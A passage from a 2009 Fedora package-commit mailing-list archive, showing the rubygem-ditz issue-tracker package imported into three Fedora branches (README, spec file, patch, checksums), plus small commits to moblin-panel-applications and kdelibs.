can also be used with centralized systems like SVN.

Ditz maintains an issue database directory on disk, with files written in a
line-based and human-editable format. This directory can be kept under version
control, alongside project code.

Ditz provides a simple, console-based interface for creating and updating the
issue database files, and some basic static HTML generation capabilities for
producing world-readable status pages (for a demo, see the ditz ditz page).

Ditz includes a robust plugin system for adding commands, model fields, and
modifying output. See PLUGINS.txt for documentation on the pre-shipped plugins.

Ditz currently offers no central public method of bug submission. 

== USING DITZ

There are several different ways to use Ditz:

1. Treat issue change the same as code change: include it as part of commits,
   and merge it with changes from other developers, resolving conflicts in the
   usual manner.
2. Keep the issue database in the repository but in a separate branch. Issue
   changes can be managed by your VCS, but is not tied directly to code
   commits.
3. Keep the issue database separate and not under VCS at all.

All of these options are supported; the choice of which to use depends on your
workflow.

Option #1 is probably most appropriate for the unsynchronized, distributed
development, since it allows individual developers to modify issue state with a
minimum of hassle. Option #2 is most suitable for synchronized development, as
issue state change can be transmitted independently of code change (see also
the git-sync plugin) and can act as a sychronization mechanism. Option #3 is
only useful with some other distribution mechanism, like a central web
interface.

== COMMANDLINE SYNOPSIS

# set up project. creates the bugs.yaml file.
1. ditz init
2. ditz add-release

# add an issue
3. ditz add

# where am i?
4. ditz status
5. ditz todo (or simply "ditz")

# do work
6. write code
7. ditz close <issue-id>
8. commit
9. goto 3

# finished!
10. ditz release <release-name>

== THE DITZ DATA MODEL

By default, Ditz includes the bare minimum set of features necessary for
open-source development. Features like time spent, priority, assignment of
tasks to developers, due dates, etc. are purposely relegated to the plugin
system.

A Ditz project consists of issues, releases and components.

Issues:
  Issues are the fundamental currency of issue tracking. A Ditz issue is either
  a feature or a bug, but this distinction currently doesn't affect anything
  other than how they're displayed.

  Each issue belongs to exactly one component, and is part of zero or one
  releases.

  Each issues has an exportable id, in the form of 40 random hex characters.
  This id is "guaranteed" to be unique across all possible issues and
  developers, present and future. Issue ids are typically not exposed to the
  user.

  Issues also have a non-global, non-exportable name, which is short and
  human-readable. All Ditz commands use issue names in addition to issue ids.
  Issue names (but not issue ids) may change in certain circumstances, e.g.
  after a "ditz drop" command.

  Issue names can be specified in comments, titles and descriptions, and Ditz
  will automatically rewrite them as necessary when they change.

Components:
  There is always one "general" component, named after the project itself. In
  the simplest case, this is the only component, and the user is never bothered
  with the question of which component to assign an issue to.

  Components simply provide a way of organizing issues, and have no real
  functionality. Issues names are derived from the component they're assigned
  to.

Releases:
  A release is the primary grouping mechanism for issues. Status commands like
  "ditz status" and "ditz todo" always group issues by release. When a release
  is 100% complete, it can be marked as released, and its issues will cease
  appearing in Ditz status and todo messages.

== LEARNING MORE

* ditz help
* find $DITZ_INSTALL_DIR -type f | xargs cat

== REQUIREMENTS

* trollop >= 1.8.2, if running via RubyGems.

== INSTALLATION

Download tarballs from http://rubyforge.org/projects/ditz/, or command your
computer to "gem install ditz".

== LICENSE

Copyright (c) 2008 William Morgan.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Additionally, this program may be linked to, distributed with, used with,
and/or loaded with the Ruby "Trollop" library.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.


fix-ruby1.8-dep.patch:
 ditz |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE fix-ruby1.8-dep.patch ---
diff -Nur ditz-0.5.orig/bin/ditz ditz-0.5/bin/ditz
--- ditz-0.5.orig/bin/ditz	2008-08-20 15:58:35.000000000 -0400
+++ ditz-0.5/bin/ditz	2009-01-25 13:28:26.000000000 -0500
@@ -1,4 +1,4 @@
-#!/usr/bin/ruby1.8
+#!/usr/bin/ruby
 
 ## requires are split in two for efficiency reasons: ditz should be really
 ## fast when using it for completion.


--- NEW FILE import.log ---
rubygem-ditz-0_5-4_fc11:F-10:rubygem-ditz-0.5-4.fc11.src.rpm:1254928637


--- NEW FILE rubygem-ditz.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname ditz
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line issue tracker
Name:		rubygem-%{gemname}
Version:	0.5
Release:	4%{?dist}
Group:		Applications/Productivity
License:	GPLv3+ with exceptions
URL:		http://ditz.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygem(trollop)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygems
BuildRequires:	rubygem(rake)
BuildRequires:	rubygem(hoe)
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://rubyforge.org/frs/download.php/41559/ditz-%{version}.tgz
# available from following link or git repository for ditz project
Source1:	http://gitorious.org/ditz/mainline/blobs/raw/master/README.txt
Patch1:		fix-ruby1.8-dep.patch

%description
A command-line issue tracker written in ruby.

%prep
%setup -n %{gemname}-%{version} -q
%patch1 -p1 -b .fix-ruby1.8-dep
cp -p %{SOURCE1} README.txt

%build
rake package

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc pkg/%{gemname}-%{version}.gem
mkdir -p %{buildroot}/%{_bindir}
cd %{buildroot}/%{_bindir}
ln -s ../../%{gemdir}/bin/ditz ditz
rm %{buildroot}/%{geminstdir}/lib/trollop.rb
mkdir -p %{buildroot}/%{_mandir}/man1
cd %{buildroot}/%{_mandir}/man1
gzip %{buildroot}/%{geminstdir}/man/ditz.1
ln -s ../../../../%{geminstdir}/man/ditz.1 ditz.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}/
%{geminstdir}/bin
%{geminstdir}/contrib
%{geminstdir}/INSTALL
%{geminstdir}/lib
%{geminstdir}/man
%{geminstdir}/Manifest.txt
%{geminstdir}/Rakefile
%{geminstdir}/setup.rb
%{geminstdir}/www
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/PLUGINS.txt
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/Changelog
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/ReleaseNotes
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec
%{gemdir}/bin/ditz
%{_bindir}/%{gemname}
%{_mandir}/man1/*

%changelog
* Sun Oct 04 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-4
- moved more files into %%doc

* Sat Oct 03 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-3
- fixed duplicate files, fixed macros usage, changed license to "GPLv3+ with exceptions"

* Wed Sep 30 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-2
- Added README from git repository with permission to link against trollop library

* Mon Sep 21 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-1
- Change of maintainer, rpmlint warnings cleanup

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 0.5-0
- Initial release of ditz.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:29:33 -0000	1.1
+++ .cvsignore	7 Oct 2009 15:18:01 -0000	1.2
@@ -0,0 +1 @@
+ditz-0.5.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:29:33 -0000	1.1
+++ sources	7 Oct 2009 15:18:02 -0000	1.2
@@ -0,0 +1 @@
+324bdbef5b01f4d70288e9416fc8b952  ditz-0.5.tgz



From hpejakle at fedoraproject.org  Wed Oct  7 15:20:50 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed,  7 Oct 2009 15:20:50 +0000 (UTC)
Subject: rpms/rubygem-ditz/F-12 README.txt, NONE, 1.1 fix-ruby1.8-dep.patch, 
	NONE, 1.1 import.log, NONE, 1.1 rubygem-ditz.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091007152050.B5A1E11C02A1@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-ditz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14150/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	README.txt fix-ruby1.8-dep.patch import.log rubygem-ditz.spec 
Log Message:
initial version


--- NEW FILE README.txt ---
== ditz

by William Morgan <wmorgan-ditz at the masanjin dot nets>

http://ditz.rubyforge.org

== DESCRIPTION

Ditz is a simple, light-weight distributed issue tracker designed to work with
distributed version control systems like git, darcs, Mercurial, and Bazaar. It
can also be used with centralized systems like SVN.

Ditz maintains an issue database directory on disk, with files written in a
line-based and human-editable format. This directory can be kept under version
control, alongside project code.

Ditz provides a simple, console-based interface for creating and updating the
issue database files, and some basic static HTML generation capabilities for
producing world-readable status pages (for a demo, see the ditz ditz page).

Ditz includes a robust plugin system for adding commands, model fields, and
modifying output. See PLUGINS.txt for documentation on the pre-shipped plugins.

Ditz currently offers no central public method of bug submission. 

== USING DITZ

There are several different ways to use Ditz:

1. Treat issue change the same as code change: include it as part of commits,
   and merge it with changes from other developers, resolving conflicts in the
   usual manner.
2. Keep the issue database in the repository but in a separate branch. Issue
   changes can be managed by your VCS, but is not tied directly to code
   commits.
3. Keep the issue database separate and not under VCS at all.

All of these options are supported; the choice of which to use depends on your
workflow.

Option #1 is probably most appropriate for the unsynchronized, distributed
development, since it allows individual developers to modify issue state with a
minimum of hassle. Option #2 is most suitable for synchronized development, as
issue state change can be transmitted independently of code change (see also
the git-sync plugin) and can act as a sychronization mechanism. Option #3 is
only useful with some other distribution mechanism, like a central web
interface.

== COMMANDLINE SYNOPSIS

# set up project. creates the bugs.yaml file.
1. ditz init
2. ditz add-release

# add an issue
3. ditz add

# where am i?
4. ditz status
5. ditz todo (or simply "ditz")

# do work
6. write code
7. ditz close <issue-id>
8. commit
9. goto 3

# finished!
10. ditz release <release-name>

== THE DITZ DATA MODEL

By default, Ditz includes the bare minimum set of features necessary for
open-source development. Features like time spent, priority, assignment of
tasks to developers, due dates, etc. are purposely relegated to the plugin
system.

A Ditz project consists of issues, releases and components.

Issues:
  Issues are the fundamental currency of issue tracking. A Ditz issue is either
  a feature or a bug, but this distinction currently doesn't affect anything
  other than how they're displayed.

  Each issue belongs to exactly one component, and is part of zero or one
  releases.

  Each issues has an exportable id, in the form of 40 random hex characters.
  This id is "guaranteed" to be unique across all possible issues and
  developers, present and future. Issue ids are typically not exposed to the
  user.

  Issues also have a non-global, non-exportable name, which is short and
  human-readable. All Ditz commands use issue names in addition to issue ids.
  Issue names (but not issue ids) may change in certain circumstances, e.g.
  after a "ditz drop" command.

  Issue names can be specified in comments, titles and descriptions, and Ditz
  will automatically rewrite them as necessary when they change.

Components:
  There is always one "general" component, named after the project itself. In
  the simplest case, this is the only component, and the user is never bothered
  with the question of which component to assign an issue to.

  Components simply provide a way of organizing issues, and have no real
  functionality. Issues names are derived from the component they're assigned
  to.

Releases:
  A release is the primary grouping mechanism for issues. Status commands like
  "ditz status" and "ditz todo" always group issues by release. When a release
  is 100% complete, it can be marked as released, and its issues will cease
  appearing in Ditz status and todo messages.

== LEARNING MORE

* ditz help
* find $DITZ_INSTALL_DIR -type f | xargs cat

== REQUIREMENTS

* trollop >= 1.8.2, if running via RubyGems.

== INSTALLATION

Download tarballs from http://rubyforge.org/projects/ditz/, or command your
computer to "gem install ditz".

== LICENSE

Copyright (c) 2008 William Morgan.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Additionally, this program may be linked to, distributed with, used with,
and/or loaded with the Ruby "Trollop" library.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.


fix-ruby1.8-dep.patch:
 ditz |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE fix-ruby1.8-dep.patch ---
diff -Nur ditz-0.5.orig/bin/ditz ditz-0.5/bin/ditz
--- ditz-0.5.orig/bin/ditz	2008-08-20 15:58:35.000000000 -0400
+++ ditz-0.5/bin/ditz	2009-01-25 13:28:26.000000000 -0500
@@ -1,4 +1,4 @@
-#!/usr/bin/ruby1.8
+#!/usr/bin/ruby
 
 ## requires are split in two for efficiency reasons: ditz should be really
 ## fast when using it for completion.


--- NEW FILE import.log ---
rubygem-ditz-0_5-4_fc11:F-12:rubygem-ditz-0.5-4.fc11.src.rpm:1254928837


--- NEW FILE rubygem-ditz.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname ditz
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line issue tracker
Name:		rubygem-%{gemname}
Version:	0.5
Release:	4%{?dist}
Group:		Applications/Productivity
License:	GPLv3+ with exceptions
URL:		http://ditz.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygem(trollop)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygems
BuildRequires:	rubygem(rake)
BuildRequires:	rubygem(hoe)
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://rubyforge.org/frs/download.php/41559/ditz-%{version}.tgz
# available from following link or git repository for ditz project
Source1:	http://gitorious.org/ditz/mainline/blobs/raw/master/README.txt
Patch1:		fix-ruby1.8-dep.patch

%description
A command-line issue tracker written in ruby.

%prep
%setup -n %{gemname}-%{version} -q
%patch1 -p1 -b .fix-ruby1.8-dep
cp -p %{SOURCE1} README.txt

%build
rake package

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc pkg/%{gemname}-%{version}.gem
mkdir -p %{buildroot}/%{_bindir}
cd %{buildroot}/%{_bindir}
ln -s ../../%{gemdir}/bin/ditz ditz
rm %{buildroot}/%{geminstdir}/lib/trollop.rb
mkdir -p %{buildroot}/%{_mandir}/man1
cd %{buildroot}/%{_mandir}/man1
gzip %{buildroot}/%{geminstdir}/man/ditz.1
ln -s ../../../../%{geminstdir}/man/ditz.1 ditz.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}/
%{geminstdir}/bin
%{geminstdir}/contrib
%{geminstdir}/INSTALL
%{geminstdir}/lib
%{geminstdir}/man
%{geminstdir}/Manifest.txt
%{geminstdir}/Rakefile
%{geminstdir}/setup.rb
%{geminstdir}/www
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/PLUGINS.txt
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/Changelog
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/ReleaseNotes
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec
%{gemdir}/bin/ditz
%{_bindir}/%{gemname}
%{_mandir}/man1/*

%changelog
* Sun Oct 04 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-4
- moved more files into %%doc

* Sat Oct 03 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-3
- fixed duplicate files, fixed macros usage, changed license to "GPLv3+ with exceptions"

* Wed Sep 30 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-2
- Added README from git repository with permission to link against trollop library

* Mon Sep 21 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-1
- Change of maintainer, rpmlint warnings cleanup

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 0.5-0
- Initial release of ditz.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:29:33 -0000	1.1
+++ .cvsignore	7 Oct 2009 15:20:50 -0000	1.2
@@ -0,0 +1 @@
+ditz-0.5.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:29:33 -0000	1.1
+++ sources	7 Oct 2009 15:20:50 -0000	1.2
@@ -0,0 +1 @@
+324bdbef5b01f4d70288e9416fc8b952  ditz-0.5.tgz



From hpejakle at fedoraproject.org  Wed Oct  7 15:22:46 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed,  7 Oct 2009 15:22:46 +0000 (UTC)
Subject: rpms/rubygem-ditz/F-11 README.txt, NONE, 1.1 fix-ruby1.8-dep.patch, 
	NONE, 1.1 import.log, NONE, 1.1 rubygem-ditz.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091007152246.BE68111C00E6@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/rubygem-ditz/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14679/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	README.txt fix-ruby1.8-dep.patch import.log rubygem-ditz.spec 
Log Message:
initial version



--- NEW FILE README.txt ---
== ditz

by William Morgan <wmorgan-ditz at the masanjin dot nets>

http://ditz.rubyforge.org

== DESCRIPTION

Ditz is a simple, light-weight distributed issue tracker designed to work with
distributed version control systems like git, darcs, Mercurial, and Bazaar. It
can also be used with centralized systems like SVN.

Ditz maintains an issue database directory on disk, with files written in a
line-based and human-editable format. This directory can be kept under version
control, alongside project code.

Ditz provides a simple, console-based interface for creating and updating the
issue database files, and some basic static HTML generation capabilities for
producing world-readable status pages (for a demo, see the ditz ditz page).

Ditz includes a robust plugin system for adding commands, model fields, and
modifying output. See PLUGINS.txt for documentation on the pre-shipped plugins.

Ditz currently offers no central public method of bug submission. 

== USING DITZ

There are several different ways to use Ditz:

1. Treat issue change the same as code change: include it as part of commits,
   and merge it with changes from other developers, resolving conflicts in the
   usual manner.
2. Keep the issue database in the repository but in a separate branch. Issue
   changes can be managed by your VCS, but is not tied directly to code
   commits.
3. Keep the issue database separate and not under VCS at all.

All of these options are supported; the choice of which to use depends on your
workflow.

Option #1 is probably most appropriate for the unsynchronized, distributed
development, since it allows individual developers to modify issue state with a
minimum of hassle. Option #2 is most suitable for synchronized development, as
issue state change can be transmitted independently of code change (see also
the git-sync plugin) and can act as a sychronization mechanism. Option #3 is
only useful with some other distribution mechanism, like a central web
interface.

== COMMANDLINE SYNOPSIS

# set up project. creates the bugs.yaml file.
1. ditz init
2. ditz add-release

# add an issue
3. ditz add

# where am i?
4. ditz status
5. ditz todo (or simply "ditz")

# do work
6. write code
7. ditz close <issue-id>
8. commit
9. goto 3

# finished!
10. ditz release <release-name>

== THE DITZ DATA MODEL

By default, Ditz includes the bare minimum set of features necessary for
open-source development. Features like time spent, priority, assignment of
tasks to developers, due dates, etc. are purposely relegated to the plugin
system.

A Ditz project consists of issues, releases and components.

Issues:
  Issues are the fundamental currency of issue tracking. A Ditz issue is either
  a feature or a bug, but this distinction currently doesn't affect anything
  other than how they're displayed.

  Each issue belongs to exactly one component, and is part of zero or one
  releases.

  Each issues has an exportable id, in the form of 40 random hex characters.
  This id is "guaranteed" to be unique across all possible issues and
  developers, present and future. Issue ids are typically not exposed to the
  user.

  Issues also have a non-global, non-exportable name, which is short and
  human-readable. All Ditz commands use issue names in addition to issue ids.
  Issue names (but not issue ids) may change in certain circumstances, e.g.
  after a "ditz drop" command.

  Issue names can be specified in comments, titles and descriptions, and Ditz
  will automatically rewrite them as necessary when they change.

Components:
  There is always one "general" component, named after the project itself. In
  the simplest case, this is the only component, and the user is never bothered
  with the question of which component to assign an issue to.

  Components simply provide a way of organizing issues, and have no real
  functionality. Issues names are derived from the component they're assigned
  to.

Releases:
  A release is the primary grouping mechanism for issues. Status commands like
  "ditz status" and "ditz todo" always group issues by release. When a release
  is 100% complete, it can be marked as released, and its issues will cease
  appearing in Ditz status and todo messages.

== LEARNING MORE

* ditz help
* find $DITZ_INSTALL_DIR -type f | xargs cat

== REQUIREMENTS

* trollop >= 1.8.2, if running via RubyGems.

== INSTALLATION

Download tarballs from http://rubyforge.org/projects/ditz/, or command your
computer to "gem install ditz".

== LICENSE

Copyright (c) 2008 William Morgan.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Additionally, this program may be linked to, distributed with, used with,
and/or loaded with the Ruby "Trollop" library.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.


fix-ruby1.8-dep.patch:
 ditz |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE fix-ruby1.8-dep.patch ---
diff -Nur ditz-0.5.orig/bin/ditz ditz-0.5/bin/ditz
--- ditz-0.5.orig/bin/ditz	2008-08-20 15:58:35.000000000 -0400
+++ ditz-0.5/bin/ditz	2009-01-25 13:28:26.000000000 -0500
@@ -1,4 +1,4 @@
-#!/usr/bin/ruby1.8
+#!/usr/bin/ruby
 
 ## requires are split in two for efficiency reasons: ditz should be really
 ## fast when using it for completion.


--- NEW FILE import.log ---
rubygem-ditz-0_5-4_fc11:F-11:rubygem-ditz-0.5-4.fc11.src.rpm:1254928928


--- NEW FILE rubygem-ditz.spec ---
%global	gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global	gemname ditz
%global	geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:	A command-line issue tracker
Name:		rubygem-%{gemname}
Version:	0.5
Release:	4%{?dist}
Group:		Applications/Productivity
License:	GPLv3+ with exceptions
URL:		http://ditz.rubyforge.org/
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:	rubygem(trollop)
Requires:	rubygems
Requires:	ruby(abi) = 1.8
BuildRequires:	rubygems
BuildRequires:	rubygem(rake)
BuildRequires:	rubygem(hoe)
BuildArch:	noarch
Provides:	rubygem(%{gemname}) = %{version}
Source0:	http://rubyforge.org/frs/download.php/41559/ditz-%{version}.tgz
# available from following link or git repository for ditz project
Source1:	http://gitorious.org/ditz/mainline/blobs/raw/master/README.txt
Patch1:		fix-ruby1.8-dep.patch

%description
A command-line issue tracker written in ruby.

%prep
%setup -n %{gemname}-%{version} -q
%patch1 -p1 -b .fix-ruby1.8-dep
cp -p %{SOURCE1} README.txt

%build
rake package

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
gem install --local --install-dir %{buildroot}%{gemdir} \
	--force --rdoc pkg/%{gemname}-%{version}.gem
mkdir -p %{buildroot}/%{_bindir}
cd %{buildroot}/%{_bindir}
ln -s ../../%{gemdir}/bin/ditz ditz
rm %{buildroot}/%{geminstdir}/lib/trollop.rb
mkdir -p %{buildroot}/%{_mandir}/man1
cd %{buildroot}/%{_mandir}/man1
gzip %{buildroot}/%{geminstdir}/man/ditz.1
ln -s ../../../../%{geminstdir}/man/ditz.1 ditz.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%dir %{geminstdir}/
%{geminstdir}/bin
%{geminstdir}/contrib
%{geminstdir}/INSTALL
%{geminstdir}/lib
%{geminstdir}/man
%{geminstdir}/Manifest.txt
%{geminstdir}/Rakefile
%{geminstdir}/setup.rb
%{geminstdir}/www
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/PLUGINS.txt
%doc %{geminstdir}/README.txt
%doc %{geminstdir}/Changelog
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/ReleaseNotes
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec
%{gemdir}/bin/ditz
%{_bindir}/%{gemname}
%{_mandir}/man1/*

%changelog
* Sun Oct 04 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-4
- moved more files into %%doc

* Sat Oct 03 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-3
- fixed duplicate files, fixed macros usage, changed license to "GPLv3+ with exceptions"

* Wed Sep 30 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-2
- Added README from git repository with permission to link against trollop library

* Mon Sep 21 2009 Jan Klepek <jan.klepek at hp.com> - 0.5-1
- Change of maintainer, rpmlint warnings cleanup

* Sat Jan 24 2009 Kyle McMartin <kyle at redhat.com> - 0.5-0
- Initial release of ditz.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:29:33 -0000	1.1
+++ .cvsignore	7 Oct 2009 15:22:44 -0000	1.2
@@ -0,0 +1 @@
+ditz-0.5.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-ditz/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:29:33 -0000	1.1
+++ sources	7 Oct 2009 15:22:45 -0000	1.2
@@ -0,0 +1 @@
+324bdbef5b01f4d70288e9416fc8b952  ditz-0.5.tgz



From pbrobinson at fedoraproject.org  Wed Oct  7 15:24:14 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed,  7 Oct 2009 15:24:14 +0000 (UTC)
Subject: rpms/moblin-panel-applications/devel .cvsignore, 1.3,
	1.4 moblin-panel-applications.spec, 1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091007152414.C118011C02A3@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-applications/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15173

Modified Files:
	.cvsignore moblin-panel-applications.spec sources 
Log Message:
- New upstream 0.0.3 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-applications/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	17 Sep 2009 18:14:42 -0000	1.3
+++ .cvsignore	7 Oct 2009 15:24:14 -0000	1.4
@@ -1 +1 @@
-moblin-panel-applications-0.0.2.tar.bz2
+moblin-panel-applications-0.0.3.tar.bz2


Index: moblin-panel-applications.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-applications/devel/moblin-panel-applications.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- moblin-panel-applications.spec	17 Sep 2009 18:14:42 -0000	1.2
+++ moblin-panel-applications.spec	7 Oct 2009 15:24:14 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           moblin-panel-applications
-Version:        0.0.2
+Version:        0.0.3
 Release:        1%{?dist}
 Summary:        Moblin Panel for launching Applications
 
@@ -53,6 +53,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Wed Oct  7 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.3-1
+- New upstream 0.0.3 release
+
 * Thu Sep 17 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.2-1
 - New upstream 0.0.2 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-applications/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Sep 2009 18:14:42 -0000	1.3
+++ sources	7 Oct 2009 15:24:14 -0000	1.4
@@ -1 +1 @@
-d2e683763ff8cabe816e212a279e967a  moblin-panel-applications-0.0.2.tar.bz2
+ffdb23c8ff525d9d286211b027f548f2  moblin-panel-applications-0.0.3.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 15:29:32 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 15:29:32 +0000 (UTC)
Subject: rpms/kdelibs/F-11 kdelibs-4.3.1-drkonq.patch,NONE,1.1
Message-ID: <20091007152932.72B1A11C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16474

Added Files:
	kdelibs-4.3.1-drkonq.patch 
Log Message:
forgotten patch


kdelibs-4.3.1-drkonq.patch:
 kcrash.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE kdelibs-4.3.1-drkonq.patch ---
diff -up kdelibs-4.3.1/kdeui/util/kcrash.cpp.orig kdelibs-4.3.1/kdeui/util/kcrash.cpp
--- kdelibs-4.3.1/kdeui/util/kcrash.cpp.orig	2009-09-21 17:42:19.000000000 +0200
+++ kdelibs-4.3.1/kdeui/util/kcrash.cpp	2009-09-21 17:43:44.000000000 +0200
@@ -67,7 +67,7 @@ static char *s_autoRestartCommand = 0;
 static char *s_appPath = 0;
 static char *s_drkonqiPath = 0;
 static KCrash::CrashFlags s_flags = 0;
-static bool s_launchDrKonqi = true;
+static bool s_launchDrKonqi = false;
 
 namespace KCrash
 {



From ltinkl at fedoraproject.org  Wed Oct  7 15:30:10 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 15:30:10 +0000 (UTC)
